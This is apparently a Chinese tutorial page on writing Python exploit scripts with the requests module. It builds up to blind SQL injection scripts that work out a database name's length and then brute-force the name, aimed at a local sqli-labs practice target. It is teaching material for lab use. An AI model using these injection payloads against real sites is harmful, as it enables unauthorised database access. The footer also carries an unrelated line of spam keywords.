溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么用Python編寫EXP

發布時間:2021-08-03 17:32:38 來源:億速云 閱讀:346 作者:chen 欄目:大數據

本篇內容介紹了“怎么用Python編寫EXP”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠學有所成!

一、環境

1、python3

2、用到的模塊requests

3、sqli-lab

二、requests模塊應用

1、獲取網頁的內容

# coding=utf-8import requestsres=requests.get("http://192.168.1.129/html/1.html")print(res.content.decode("utf-8"))

2、獲取頭信息

3、獲取提交的網址

print(res.headers)print(res.url)

運行結果:

{'Date': 'Tue, 04 Aug 2020 13:01:06 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'Last-Modified': 'Sun, 31 May 2020 15:48:24 GMT', 'ETag': '"676-5a6f39bc391c0"', 'Accept-Ranges': 'bytes', 'Content-Length': '1654', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}http://192.168.1.129/html/1.html

4、修改訪問時UA信息

# coding=utf-8import requestsurl="http://192.168.1.129/html/1.html"header={"User-Agent":"aiyoubucuo"}res=requests.get(url,headers=header)print(res.request.headers)運行結果:{'User-Agent': 'aiyoubucuo', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

5、超時處理,網頁超過三秒沒有反應當做異常

# coding=utf-8import requestsurl="http://192.168.1.129/html/chaoshi.php"try:    res=requests.get(url,timeout=3)    print(res.request.headers)except Exception as e:    print("網頁已超時?。?!")

6、提交get數據

# coding=utf-8import requestsurl="http://192.168.1.129/get.php"data={"aiyou":"bucuo"}res=requests.get(url,params=data)print(res.url)

運行結果:

http://192.168.1.129/get.php?aiyou=bucuo

7、POST提交數據

# coding=utf-8import requestsurl="http://192.168.1.129/post.php"datas={"aiyou":"bucuo"}res=requests.post(url,data=datas)print(res.content.decode("utf-8"))

運行結果:

array(1) {  ["aiyou"]=>  string(5) "bucuo"}

8、上傳文件

# coding=utf-8import requestsurl="http://192.168.1.129/shangchuan.php"upfile={"file":open("123.txt","rb")}datas={"submit":"submit"}res=requests.post(url,files=upfile,data=datas)print(res.content.decode("utf-8"))

運行結果:

怎么用Python編寫EXP

三、獲取數據庫長度

#判斷數據庫長度,http://192.168.1.129/sqli/Less-8/?id=8' and (length(database())) = 8 --+# coding=utf-8import requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情況下網頁返回數據的長度"+str(reslen))dblen=0while True:    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"    print(dburl)    if len(requests.get(dburl).text)==reslen:        print("數據庫名字長度為:"+str(dblen))        break    if dblen==30:        print("出現錯誤!")        break    dblen+=1

運行結果:

怎么用Python編寫EXP

四、獲取數據庫名字

# coding=utf-8import stringimport requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情況下網頁返回數據的長度"+str(reslen))#判斷數據庫長度,http://192.168.1.129/sqli/Less-8/?id=2' and (length(database())) = 8 --+dblen=0while True:    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"    print(dburl)    if len(requests.get(dburl).text)==reslen:        print("數據庫名字長度為:"+str(dblen))        break    if dblen==30:        print("出現錯誤!")        break    dblen+=1dbnmae=""#生成8個字母for i in range(1,9):    #獲取字母從a-z    for a in string.ascii_lowercase:        dburl=url+"?id=1'+and+substr(database(),"+str(i)+",1)="+"'"+a+"'"+"--+"        print(dburl)        if len(requests.get(dburl).text)==reslen:            dbnmae+=a            print(dbnmae)            break

運行結果:

怎么用Python編寫EXP

“怎么用Python編寫EXP”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站,小編將為大家輸出更多高質量的實用文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女